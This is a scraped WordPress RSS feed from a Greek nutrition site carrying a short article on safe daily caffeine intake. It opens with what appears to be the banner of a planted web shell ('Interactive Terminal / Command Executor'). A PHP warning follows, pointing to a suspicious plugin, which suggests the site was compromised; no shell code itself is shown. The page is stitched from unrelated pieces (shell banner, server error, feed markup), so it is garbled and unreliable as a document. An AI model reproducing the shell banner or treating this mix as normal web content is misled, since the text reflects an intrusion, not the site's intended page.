AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor


Warning: Cannot modify header information - headers already sent by (output started at /home/valia/public_html/wp-content/plugins/cache-optimizer-6fbc/cache-optimizer-6fbc.php:27) in /home/valia/public_html/wp-includes/feed-rss2.php on line 8
καφές – Nutricenter https://valiagrigoriou.com Valia Grigoriou Mon, 10 Jul 2023 05:54:39 +0000 el hourly 1 https://wordpress.org/?v=6.9.4 https://valiagrigoriou.com/wp-content/uploads/2021/08/cropped-Untitled-1-100x100.png καφές – Nutricenter https://valiagrigoriou.com 32 32 Πόσο καφές πρέπει να πίνω https://valiagrigoriou.com/%cf%80%cf%8c%cf%83%ce%bf-%ce%ba%ce%b1%cf%86%ce%ad%cf%82-%cf%80%cf%81%ce%ad%cf%80%ce%b5%ce%b9-%ce%bd%ce%b1-%cf%80%ce%af%ce%bd%cf%89/ Mon, 10 Jul 2023 05:54:37 +0000 https://valiagrigoriou.com/?p=8659

Υπάρχει περιορισμός στην κατανάλωση καφέ;

Για τους ενήλικες, η ασφαλής πρόσληψη καφεΐνη από όλες τις πηγές είναι 400 mg ημερησίως, δηλαδή 3-4 φλιτζάνια καφέ την ημέρα. 

Αντίθετα, στην περίοδο της εγκυμοσύνης και θηλασμού η πρόσληψη καφεΐνης περιορίζεται στα 200 mg την ημέρα. 

Περιεκτικότητα καφεΐνης:

  • Καφές φίλτρου: 30-90 mg
  • Ελληνικός: 60-150 mg
  • Espresso: 63 mg

Προσοχή στα άτομα με διαταραχές ύπνου! Θα πρέπει να περιορίσουν αισθητά την κατανάλωση καφεΐνης. 

]]>